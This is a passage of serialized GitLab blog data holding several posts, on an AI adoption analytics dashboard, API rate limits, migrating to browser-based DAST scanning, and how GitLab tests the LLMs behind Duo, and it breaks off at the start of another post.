[Take an interactive tour of the AI Impact analytics dashboard](https://gitlab.navattic.com/ai-impact).\n\n## Understanding the ROI of GitLab Duo AI-powered capabilities\n\nTo properly evaluate AI's impact on the software development lifecycle, organizations have told us they want to:\n- visualize which metrics improved as a result of investments in AI\n- compare the performance of teams that are using AI against teams that are not using AI\n- track the progress of AI adoption\n- automate insights extraction from a large volume of performance data\n\nAI Impact analytics dashboard features these capabilities and more with customizable visualization, which enables teams to:\n- **Monitor AI adoption:** Observing AI adoption rates enables organizations to evaluate organizational strategies to maximize the ROI on their technology investments. \n- **Track performance improvements:** By tracking performance metrics and observing changes after the adoption of AI, leaders can quickly assess the benefits and business value of AI features.\n\n## What is the AI Impact analytics dashboard?\n\nIn this first release of the AI Impact analytics dashboard, we focus on providing insights and metrics about GitLab Duo Code Suggestions adoption, including:\n\n- **Detailed usage metrics:** Discover the ratio of monthly Code Suggestions usage compared to the total number of unique code contributors to know how deeply Code Suggestions is adopted within your teams.\n- **Correlation observations:** Examine how trends in AI usage within a project or across a group influence other crucial productivity metrics, displayed for the current month and the trailing six months. \n    - For this correlation analysis we added a new metric \"Code Suggestions Usage Rate\" as the Independent Variable (the cause). The monthly Code Suggestions Usage Rate is calculated as the number of monthly unique Code Suggestions users divided by total monthly unique [contributors](https://docs.gitlab.com/ee/user/profile/contributions_calendar.html#user-contribution-events). GitLab considers the total monthly unique code contributors, which means only users with pushed events are included in the calculation.\n    - As Dependent Variables (the effect), we added these [performance metrics](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports): Cycle Time, Lead Time and Deployment Frequency. And as [Quality and Security Metrics](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dashboard-metrics-and-drill-down-reports), we added Change Failure Rate and Critical Vulnerabilities. \n- **Comparison view:**  Understand the difference in the performance of teams that are and are not using AI, and manage the trade-off between speed, quality, and security exposure.\n\n![Comparison of AI usage and SDLC performance](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098620998.png)\n\n## What’s next for the AI Impact analytics dashboard?\n\nLooking ahead, we have exciting plans to expand the capabilities of the AI Impact analytics dashboard. Here are some of the highlights:\n\n1. New tile visualizations such as \"GitLab Duo Seats: Assigned and Used,\" \"Code Suggestions: Acceptance Rate %,\" and \"GitLab Duo Chat: Unique Users\"  to gain a deeper insight into usage patterns for GitLab Duo.\n\n![AI Impact - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2024-07-17_at_12.50.31_aHR0cHM6_1750098620999.png)\n\n2. New comparison bar chart to help users observe how changes in one metric correlate with changes in others:\n\n![AI Impact comparison bar chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098621000.png)\n\n3. AI statistics in the [Contribution analytics report](https://docs.gitlab.com/ee/user/group/contribution_analytics/index.html) to understand how users interact with AI features. See which users are leveraging AI features and whether their performance has changed over time:\n\n![Contribution analytics report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098621/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098621001.png)\n\n## Get started today\n\nWe're excited about the potential of the AI Impact analytics dashboard to not only demonstrate the real-world business outcomes of AI but also to drive more informed decisions regarding future AI as optimization for the DevSecOps lifecycle. For more information about what is coming next and to share feedback or questions, [please visit our AI Impact analytics dashboard epic](https://gitlab.com/groups/gitlab-org/-/epics/12978).\n\nStart your [free trial of GitLab Duo and the AI Impact analytics dashboard today](https://about.gitlab.com/gitlab-duo/#free-trial).\n\n## Read more of the \"Developing GitLab Duo\" series\n\n- [Developing GitLab Duo: How we validate and test AI models at scale](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n- [Developing GitLab Duo: How we are dogfooding our AI features](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/)\n- [Developing GitLab Duo: Secure and thoroughly test AI-generated code](https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n- [Developing GitLab Duo: Blending AI and Root Cause Analysis to fix CI/CD pipelines](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._",[790,1268,754],{"slug":5993,"featured":92,"template":678},"developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai","content:en-us:blog:developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai.yml","Developing Gitlab Duo Ai Impact Analytics Dashboard Measures The Roi Of Ai","en-us/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai.yml","en-us/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"_path":5999,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6000,"content":6006,"config":6011,"_id":6013,"_type":16,"title":6014,"_source":17,"_file":6015,"_stem":6016,"_extension":20},"/en-us/blog/rate-limitations-announced-for-projects-groups-and-users-apis",{"title":6001,"description":6002,"ogTitle":6001,"ogDescription":6002,"noIndex":6,"ogImage":6003,"ogUrl":6004,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6004,"schema":6005},"Rate limitations announced for Projects, Groups, and Users APIs","Learn why these changes are being made, when they go into effect, and what to expect.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662504/Blog/Hero%20Images/devsecops-automated-security.jpg","https://about.gitlab.com/blog/rate-limitations-announced-for-projects-groups-and-users-apis","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Rate limitations announced for Projects, Groups, and Users APIs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Lohr\"}],\n        \"datePublished\": \"2024-05-14\",\n      }",{"title":6001,"description":6002,"authors":6007,"heroImage":6003,"date":6008,"body":6009,"category":834,"tags":6010,"updatedDate":1623},[830],"2024-05-14","In recent months, we have observed that the frequency and intensity of requests made by users to the Projects, Groups, and Users APIs have increased significantly. This has resulted in an increased load on our servers, which has impacted the performance and stability of our platform for all users. To address this issue, we have decided to introduce rate limitations for all users.\n\nIn the coming months, we will introduce rate limitations to the Projects, Groups and Users API according to the following schedule:\n\n__Groups and Projects API__\n- Brownouts\n  - Feb 4, 2025: For 12 hours starting at 12:00 UTC\n  - Mar 4, 2025: For 24 hours starting at 12:00 UTC\n- Permanent rollout\n  - Apr 2, 2025 at 12:00 UTC\n\n__Users API__\n- Brownouts\n  - Feb 24, 2025: For 12 hours starting at 15:00 UTC\n  - Feb 27, 2025: For 24 hours starting at 15:00 UTC\n- Permanent rollout\n  - Mar 3, 2025 at 12:00 UTC\n\nTo protect our Dedicated and Self-managed customers from unexpected changes, we're implementing a careful rollout strategy for our new API rate limitations. We'll be using a feature flag that allows us to apply these limits exclusively to GitLab.com while keeping them disabled by default for Self-managed and Dedicated instances.\n\nWhen upgrading to 18.0, these rate limits will be set to zero and the feature flag will be disabled by default, ensuring no disruption to your current workflows. This approach gives administrators complete control - you can choose to enable these limits at your convenience by toggling the feature flag and setting the appropriate rate limits for your installation.\nIn GitLab 18.1, the feature flag will be removed. It means the rate limits you've defined before that (unlimited by default) will automatically be used, even if you didn't enable the feature flag.\n\nFrom GitLab 18.3, new installations will have the default rate limits (see \"Rate limitation details\" below) applied.\n\n## What are the Projects, Groups, and Users APIs?\n\nThe Projects and Groups APIs provide information about GitLab projects and groups, including name, description, and other metadata. The Users API provides information about GitLab users. These APIs are widely used by our community, including researchers, developers, and integrators, to retrieve and analyze information about GitLab projects, groups and users. We value this usage and aim to support it as much as possible.\n\n## Rate limitation details\n\nAll users of the Projects, Groups, and Users APIs will be rate-limited. The limits per endpoint are as follows:\n\n| Endpoint    | Rate limit per user or IP     |\n| ---------- | ---------- |\n|GET /api/v4/users/:id/followers | 100 requests per minute |\n|GET /api/v4/users/:id/following | 100 requests per minute |\n| GET /api/v4/users/:user_id/status | 240 requests per minute |\n| GET /api/v4/users/:user_id/keys | 120 requests per minute |\n| GET /api/v4/users/:id/keys/:key_id | 120 requests per minute |\n| GET /api/v4/users/:id/gpg_keys | 120 requests per minute |\n| GET /api/v4/users/:id/gpg_keys/:key_id | 120 requests per minute |\n| GET /api/v4/users/:user_id/projects | 300 requests per minute |\n| GET /api/v4/users/:user_id/contributed_projects | 100 requests per minute |\n| GET /api/v4/users/:user_id/starred_projects | 100 requests per minute |\n| GET /api/v4/projects | 2000 requests per 10 minutes |\n| GET /api/v4/groups/:id/projects | 600 requests per minute |\n| GET /api/v4/projects/:id | 400 requests per minute |\n| GET /api/v4/groups | 200 requests per minute |\n| GET /api/v4/groups/:id | 400 requests per minute |\n\u003Cp>\u003C/p>\n\nWe rate-limit based on user for authenticated requests and based on IP for unauthenticated requests. We use the same value for both IP and user. The stated limits have been selected based on average usage patterns and should provide sufficient headroom for most use cases.\n\nIf a user exceeds this limit, the user will receive a \"429 Too Many Requests\" response. On GitLab.com, this limit cannot be changed. Users of GitLab Self-managed instances have the same rate limitation set by default, but admins can change the rate limits as they see fit via the UI or the application settings API. They can also set the rate limit to zero, which acts as if there is no rate limitation at all.\n\nWe understand that this change may impact some of our users who rely on the Projects, Groups, and Users APIs, and we apologize for any inconvenience this may cause.\n\nIf you have any questions or concerns about this change, please leave feedback in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/458904).\n\n#### Note\nThis post has been updated recently. These are the changes that were made:\n* Added detailed rollout strategy for Self-managed/Dedicated: Introduces a phased implementation with feature flags that initially apply limits only to GitLab.com, with zero rate limits by default for Self-managed/Dedicated in GitLab 18.0.\n* Clarified version timeline: Added specifics about feature flag removal in GitLab 18.1 and default rate limits for new installations starting in 18.3.",[479,695],{"slug":6012,"featured":6,"template":678},"rate-limitations-announced-for-projects-groups-and-users-apis","content:en-us:blog:rate-limitations-announced-for-projects-groups-and-users-apis.yml","Rate Limitations Announced For Projects Groups And Users Apis","en-us/blog/rate-limitations-announced-for-projects-groups-and-users-apis.yml","en-us/blog/rate-limitations-announced-for-projects-groups-and-users-apis",{"_path":6018,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6019,"content":6025,"config":6030,"_id":6032,"_type":16,"title":6033,"_source":17,"_file":6034,"_stem":6035,"_extension":20},"/en-us/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast",{"title":6020,"description":6021,"ogTitle":6020,"ogDescription":6021,"noIndex":6,"ogImage":6022,"ogUrl":6023,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6023,"schema":6024},"Detect application vulnerabilities with GitLab’s browser-based DAST","Learn why you should include dynamic application security testing as part of a defense-in-depth strategy for software development, and how to migrate from proxy-based DAST.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","https://about.gitlab.com/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Detect application vulnerabilities with GitLab’s browser-based DAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Meadzinger\"}],\n        \"datePublished\": \"2024-05-13\",\n      }",{"title":6020,"description":6021,"authors":6026,"heroImage":6022,"date":6027,"body":6028,"category":674,"tags":6029},[1741],"2024-05-13","Proxy-based dynamic application security testing was removed in GitLab 17.0 (May 16, 2024) and replaced with GitLab's proprietary [DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/) tool (formerly called “browser-based DAST”). DAST runs automated penetration tests to find vulnerabilities in your web applications as they are running. DAST automates a hacker’s approach, simulates real-world attacks, and can identify critical threats such as cross-site scripting, a SQL injection, and cross-site request forgery. DAST is completely language-agnostic and examines your application from the outside in. \n\nWe recommend adding [DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/) to your software development security alongside other foundational [application security](https://docs.gitlab.com/ee/user/application_security/) testing such as secret detection, dependency scanning, static application security testing (SAST), container scanning, and API security testing. Including DAST in this defense-in-depth approach ensures that your team can identify and mitigate the runtime vulnerabilities and misconfigurations DAST detects that other security tools cannot detect. With a running application in a test environment, DAST scans can be automated in a CI/CD pipeline, automated on a schedule, or run independently by using [on-demand scans](https://docs.gitlab.com/ee/user/application_security/dast/on-demand_scan.html). Read on to learn how to migrate to GitLab DAST, or how to get started if you aren’t already using this security feature.\n\n## Our decision to remove proxy-based DAST\n\nRemoval of support for proxy-based DAST in 17.0 was [announced in 16.6](https://docs.gitlab.com/ee/update/deprecations.html?removal_milestone=17.0#proxy-based-dast-deprecated). Proxy-based DAST was introduced in GitLab 10.4 (January 2018), and its foundation was the open source Zed Attack Proxy (ZAP) project. At the time, this provided great dynamic analysis within GitLab’s DevSecOps platform. Over time, however, the architecture of apps evolved and web applications grew in complexity. [Legacy DAST crawlers](https://en.wikipedia.org/wiki/Single-page_application#Security_scanning), including proxy-based DAST, couldn’t provide sufficient coverage of modern applications so we began developing our modern, proprietary DAST solution. GitLab’s new DAST offering uses a browser to fully navigate the website like a real user while uncovering vulnerabilities. GitLab DAST runs on either arm64 or amd64 architectures, and a FIPS-compliant version is available as well. Our [Vulnerability Research](https://handbook.gitlab.com/handbook/engineering/development/sec/secure/vulnerability-research/) team wrote GitLab’s DAST detections and regularly updates our vulnerability definitions to ensure \n\n## DAST migration information\n\nIf you are using proxy-based DAST to run a scan in a CI/CD pipeline, we recommend migrating to [DAST](https://docs.gitlab.com/ee/user/application_security/dast/browser/) to continue dynamically scanning your web applications for vulnerabilities.  Follow the configuration recommendations outlined in the [DAST Migration Guide](https://docs.gitlab.com/ee/user/application_security/dast/proxy_based_to_browser_based_migration_guide.html) to ensure GitLab DAST scans can continue successfully.\n\nIf you would like to continue using proxy-based DAST, you can do so until GitLab 18.0 (May 2025). Bugs and vulnerabilities in this legacy analyzer will not be fixed. To continue using the non-supported proxy-based DAST, set the CI/CD variable \u003CDAST_VERSION:4> .\n\nIf you are using on-demand DAST scans, they automatically began using the newer DAST analyzer (effective from the third GitLab 17.0 breaking change window, 2024-05-06 09:00 UTC to 2024-05-08 22:00 UTC), without any required action on your part.\n\n## Migrate to GitLab DAST\n\nIf you aren’t using DAST yet, you can either run automatic DAST scans that are initiated by a merge request, or you can run manual on-demand DAST scans. \n\nTo enable automated scans, follow these simple [getting started](https://docs.gitlab.com/ee/user/application_security/dast/#getting-started) steps:\n1. Edit your `.gitlab.ci.yml` file to include the DAST template \u003CDAST.gitlab-ci.yml>\n1. Add a DAST stage to the CI/CD pipeline definition. This should be added after the deploy step.\n1. Define the URL to be scanned by DAST by using one of these methods:\nSet the \u003CDAST_TARGET_URL> variable. If set, this value takes precedence\nAdd the URL in a \u003Cenvironment_url.txt> file at your project’s root\n1. [Configure authentication](https://docs.gitlab.com/ee/user/application_security/dast/browser/configuration/authentication.html) to ensure DAST can crawl as much of your application as possible.\n\nA basic configuration for an application with a single-step login form might look like this:\n\n```\ninclude:\n  - template: DAST.gitlab-ci.yml\n\ndast:\n  variables:\n    DAST_TARGET_URL: \"https://example.com\"\n    DAST_AUTH_URL: \"https://example.com/login\"\n    DAST_AUTH_USERNAME_FIELD: \"css:[name=username]\"\n    DAST_AUTH_PASSWORD_FIELD: \"css:[name=password]\"\n    DAST_AUTH_SUBMIT_FIELD: \"css:button[type=submit]\"\n```\n\nTo run DAST scans manually outside of the DevOps lifecycle, follow these steps to [create an on-demand scan](https://docs.gitlab.com/ee/user/application_security/dast/on-demand_scan.html#create-an-on-demand-scan).\n\n## How DAST works\n\nOnce a DAST scan has been triggered, the following steps occur:\n1. Authenticate - If you have configured authentication, the analyzer will authenticate to allow maximum crawling coverage. If authentication fails, the scan halts.\n1. Discovery - The crawler discovers the surface area of the target application by performing user actions like following links, clicking buttons, and filling out forms.\n1. Passive checks - Identifies vulnerabilities in HTTP messages and pages discovered while crawling. These are enabled by default.\n1. Active checks - Identifies vulnerabilities by injecting payloads into HTTP requests recorded during the crawl phase. DAST:\n- analyzes HTTP requests for injection locations (including but not limited to query values, header values, cookie values, form posts, JSON string values, and XML entities)\n- injects attack payloads into those locations and analyzes the HTTP responses to determine attack success and report vulnerabilities\n\nActive checks are disabled by default due to the nature of their probing attacks. Scan results should be reviewed via the [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/index.html) to prioritize and remediate the detected vulnerabilities. \n\n## DAST benefits\n\nHere are some of the benefits of incorporating DAST into your software development lifecycle:\n- simulates real-world hacking on running applications (pre-production versions recommended only)\n- produces high-confidence, low false-positive findings\n- identifies 9/10 of the OWASP Top 10:2021 (dependency scanning covers the 10th)\n- detects CWEs and provides developers and security teams with remediation guidance before your code goes into production\n- does not analyze source code, so scans are not limited by programming language or framework\n- has a FIPS Compliant analyzer available, ensuring data is protected at rest and at transit according to the Federal Information Processing Standard \nsupports complex, multi-step sign-in workflows\n- utilizes a headless browser to provide excellent crawling coverage and execute all client-side scripting interactions for modern web applications, including SPAs\n\n## Get started today\n\nGitLab DAST is an essential tool to include in your comprehensive security testing program. Our latest crawler provides excellent security coverage of modern applications, whether they are stateless or stateful single-page web apps).  Use DAST in conjunction with GitLab’s other security analyzers to remain compliant with numerous standards, reduce business risk, and detect and remediate cyber threats prior to releasing them into production.\n\n> Sign up for a free 30-day trial of GitLab Ultimate to [get going with GitLab DAST](https://about.gitlab.com/free-trial/devsecops/).\n\n## Additional resources\n- [DAST Migration Guide](https://docs.gitlab.com/ee/user/application_security/dast/browser_based_4_to_5_migration_guide.html)\n- [Tips to configure browser-based DAST scans](https://about.gitlab.com/blog/tips-to-configure-browser-based-dast-scans/)\n- [Introducing browser-based DAST and integrated passive checks](https://about.gitlab.com/blog/browser-based-dast-feature-announcement/)\n- [Introducing GitLab browser-based active checks in DAST](https://about.gitlab.com/blog/dast-release-first-gitlab-active-check/)\n",[674,942,754,695],{"slug":6031,"featured":92,"template":678},"detect-application-vulnerabilities-with-gitlabs-browser-based-dast","content:en-us:blog:detect-application-vulnerabilities-with-gitlabs-browser-based-dast.yml","Detect Application Vulnerabilities With Gitlabs Browser Based Dast","en-us/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast.yml","en-us/blog/detect-application-vulnerabilities-with-gitlabs-browser-based-dast",{"_path":6037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6038,"content":6043,"config":6048,"_id":6050,"_type":16,"title":6051,"_source":17,"_file":6052,"_stem":6053,"_extension":20},"/en-us/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"title":6039,"description":6040,"ogTitle":6039,"ogDescription":6040,"noIndex":6,"ogImage":4038,"ogUrl":6041,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6041,"schema":6042},"Developing GitLab Duo: How we validate and test AI models at scale","Our blog series debuts with a behind-the-scenes look at how we evaluate LLMs, match them to use cases, and fine-tune them to produce better responses for users.","https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing GitLab Duo: How we validate and test AI models at scale\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Susie Bitters\"}],\n        \"datePublished\": \"2024-05-09\",\n      }",{"title":6039,"description":6040,"authors":6044,"heroImage":4038,"date":6045,"body":6046,"category":791,"tags":6047},[1031],"2024-05-09","**_Generative AI marks a monumental shift in the software development industry, making it easier to develop, secure, and operate software. Our new blog series, written by our product and engineering teams, gives you an inside look at how we create, test, and deploy the AI features you need integrated throughout the enterprise. Get to know new capabilities within GitLab Duo and how they will help DevSecOps teams deliver better results for customers._**\n\nGitLab values the trust our customers place in us. Part of maintaining that trust is transparency in how we build, evaluate, and ensure the high-quality functionality of our [GitLab Duo](https://about.gitlab.com/gitlab-duo/) AI features. GitLab Duo features are powered by a diverse set of models, which allows us to support a broad set of use cases and gives our customers flexibility. GitLab is not tied to a single model provider by design. We currently use foundation models from [Google](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/blob/main/ai_gateway/models/vertex_text.py?ref_type=heads#L86) and [Anthropic](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/blob/main/ai_gateway/models/anthropic.py?ref_type=heads#L62). However, we continuously assess what models are the right matches for GitLab Duo’s use cases. In this article, we give you an inside look at our AI model validation process.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## Understanding LLMs\n\nLarge language models (LLMs) are generative AI models that power many AI features across the platform. Trained on vast datasets, LLMs predict the next word in a sequence based on preceding context. Given an input prompt, they generate human-like text by sampling from the probability distribution of words conditioned on the prompt.\n\nLLMs enable intelligent code suggestions, conversational chatbots, code explanations, vulnerability analysis, and more. Their ability to produce diverse outputs for a given prompt makes standardized quality evaluation challenging. LLMs can be optimized for different characteristics, which is why there are so many AI models actively being developed.\n\n## Testing at scale\n\nUnlike traditional software systems where inputs and outputs can be more easily defined and tested, LLMs produce outputs that are often nuanced, diverse, and context-dependent. Testing these models requires comprehensive strategies that account for subjective and variable interpretations of quality, as well as the stochastic nature of their outputs. We, therefore, cannot judge the quality of an LLM’s output in an individual or anecdotal fashion; instead, we need to be able to examine the overall pattern of an LLM's behavior. To get a sense of those patterns, we need to test at scale. Testing at scale refers to the process of evaluating the performance, reliability, and robustness of a system or application across a large and diverse array of datasets and use cases. Our [Centralized Evaluation Framework (CEF)](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/) utilizes thousands of prompts tied to dozens of use cases to allow us to identify significant patterns and assess the overall behavior of our foundational LLMs and the GitLab Duo features in which they are integrated.\n\nTesting at scale helps us:\n\n- **Ensure quality:** Testing at scale enables us to assess the quality and reliability of these models across a wide range of scenarios and inputs. By validating the outputs of these models at scale, we can start to identify patterns and mitigate potential issues such as systematic biases, anomalies, and inaccuracies. \n- **Optimize performance:** Scaling up testing efforts allows GitLab to evaluate the performance and efficiency of LLMs under real-world conditions. This includes assessing factors such as output quality, latency, and cost to optimize the deployment and operation of these models in GitLab Duo features.\n- **Mitigate risk:** Testing LLMs at scale helps mitigate the risks associated with deploying LLMs in critical applications. By conducting thorough testing across diverse datasets and use cases, we can identify and address potential failure modes, security vulnerabilities, and ethical concerns before they impact our customers.\n\nTesting LLMs at scale is imperative for ensuring their reliability and robustness for deployment within the GitLab platform. By investing in comprehensive testing strategies that encompass diverse datasets, use cases, and scenarios, GitLab is working to unlock the full potential of AI-powered workflows while mitigating potential risks.\n\n### How we test at scale\n\nThese are the steps we take to test LLMs at scale.\n\n#### Step 1: Create a prompt library as a proxy for production\nWhile other companies view and use customer data to train their AI features, GitLab currently does not.  As a result, we needed to develop a comprehensive prompt library that is a proxy for both the scale and activity of production.\n\nThis prompt library is composed of questions and answers. The questions represent the kinds of queries or inputs that we would expect to see in production, while the answers represent a ground truth of what our ideal answer would be. This ground truth answer could also be mentally framed as a target answer. Both the question and the answer may be human generated, but are not necessarily so. These question/answer pairs give us a basis for comparison and a reference frame that allow us to tease out differences between models and features. When multiple models are asked the same question and generate different responses, we can use our ground truth answer to determine which model has provided an answer that is most closely aligned to our target and score them accordingly.\n\nAgain, a key element of a comprehensive prompt library is ensuring that it is representative of the inputs that we expect to see in production. We want to know how well foundational models fit to our specific use case, and how well our features are performing. There are numerous benchmark prompt datasets, but those datasets may not be reflective of the use cases that we see for features at GitLab. Our prompt library is designed to be specific to GitLab features and use cases.\n\n#### Step 2: Baseline model performance\n\nOnce we have crafted a prompt library that accurately reflects production activity, we feed those questions into [various models](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/foundation_models/) to test how well they serve our customer’s needs. We compare each response to our ground truth and provide it a ranking based on a series of metrics including: [Cosine Similarity Score](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/metrics/#similarity-scores), [Cross Similarity Score](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/metrics/#cross-similarity-score),  [LLM Judge](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/metrics/#llm-judge), and [Consensus Filtering with an LLM Judge](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/metrics/#consensus-filtering-with-llm-judge). This first iteration provides us a baseline for how well each model is performing, and guides our selection of a foundational model for our features. For brevity, we won’t go into the details here, but we encourage you to [learn more about more about the metrics here](https://about.gitlab.com/direction/ai-powered/ai_model_validation/ai_evaluation/metrics/). It is important to note this isn’t a solved problem; the wider AI industry is actively researching and developing new techniques. GitLab’s model validation team keeps a pulse on the industry and is continuously iterating on how we measure and score the LLMs GitLab Duo uses.  \n\n#### Step 3: Feature development\n\nNow that we have a baseline for our selected model's performance, we can start developing our features with confidence. While prompt engineering gets a lot of buzz, focusing entirely on changing the behavior of a model via prompting (or any other technique) without validation means that you are operating in the dark and very possibly overfitting your prompting. You may solve one problem, but be causing a dozen more. You would never know. Creating a baseline for a model's performance allows us to track how we are changing behavior over time for all our necessary use cases. At GitLab, we re-validate the performance of our features on a daily basis during active development to help ensure that all changes improve the overall functionality.\n\n#### Step 4: Iterate, iterate, iterate\n\nHere is how our experimental iterations work. Each cycle, we examine the scores from our tests at scale to identify patterns:\n\n- What are the commonalities across our weakest areas?\n- Is our feature performing poorly based on a specific metric or on a certain use case?\n- Do we see consistent errors popping up in response to a certain kind of question?\n\nOnly when we test at scale do these kinds of patterns begin to emerge and allow us to focus our experiments. Based on these patterns, we propose a variety of experiments or approaches to try to improve performance in a specific area and on a specific metric.\n\nHowever, testing at scale is both expensive and time-consuming. To enable faster and less expensive iteration, we craft a smaller scale dataset to act as a mini-proxy. The focused subset will be weighted to include question/answer pairs that we know we want to improve upon, and the broader subset will also include sampling of all the other use cases and scores to ensure that our changes aren't adversely affecting the feature broadly. Make your change and run it against the focused subset of data. How does the new response compare to the baseline? How does it compare to the ground truth?\n\nOnce we have found a prompt that addresses the specific use case we are working on with the focused subset, we validate that prompt against a broader subset of data to help ensure that it won’t adversely affect other areas of the feature. Only when we believe that the new prompt improves our performance in our target area through validation metrics AND doesn’t degrade performance elsewhere, do we push that change to production.\n\nThe entire Centralized Evaluation Framework is then run against the new prompt and we validate that it has increased the performance of the entire feature against the baseline from the day before. In this way, GitLab is constantly iterating to help ensure that you are getting the latest and greatest performance of AI-powered features across the GitLab ecosystem. This allows us to ensure that we keep working faster, together.\n\n### Making GitLab Duo even better\n\nHopefully this gives you insight into how we’re responsibly developing GitLab Duo features. This process has been developed as we’ve brought [GitLab Duo Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/) and [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) to general availability. We’ve also integrated this validation process into our development process as we iterate on GitLab Duo features. It’s a lot of trial and error, and many times fixing one thing breaks three others. But we have data-driven insights into those impacts, which helps us ensure that GitLab Duo is always getting better.\n\n> Start a [free trial of GitLab Duo](https://about.gitlab.com/gitlab-duo/#free-trial) today!\n\n ## Resources\n - [GitLab AI Transparency Center](https://about.gitlab.com/ai-transparency-center/)\n - [GitLab's AI Ethics Principles for Product Development](https://handbook.gitlab.com/handbook/legal/ethics-compliance-program/ai-ethics-principles/)\n - [GitLab AI-powered Direction page](https://about.gitlab.com/direction/ai-powered/)\n\n\u003Cfigure class=video_container>\n\u003Ciframe width=560 height=315 src=\"https://www.youtube-nocookie.com/embed/LifJdU3Qagw?si=A4kl6d32wPYC4168\" title=\"YouTube video player\" frameborder=0 allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\">\u003C/iframe>\n\u003C/figure>\n\n## Read more of the \"Developing GitLab Duo\" series\n\n- [Developing GitLab Duo: AI Impact analytics dashboard measures the ROI of AI](https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n- [Developing GitLab Duo: How we are dogfooding our AI features](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/) \n- [Developing GitLab Duo: Secure and thoroughly test AI-generated code](https://about.gitlab.com/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/)\n- [Developing GitLab Duo: Blending AI and Root Cause Analysis to fix CI/CD pipelines](https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/)",[790,943,479,754,676],{"slug":6049,"featured":92,"template":678},"developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale","content:en-us:blog:developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale.yml","Developing Gitlab Duo How We Validate And Test Ai Models At Scale","en-us/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale.yml","en-us/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale",{"_path":6055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6056,"content":6062,"config":6067,"_id":6069,"_type":16,"title":6070,"_source":17,"_file":6071,"_stem":6072,"_extension":20},"/en-us/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch",{"title":6057,"description":6058,"ogTitle":6057,"ogDescription":6058,"noIndex":6,"ogImage":6059,"ogUrl":6060,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6060,"schema":6061},"CI/CD Catalog goes GA: No more building 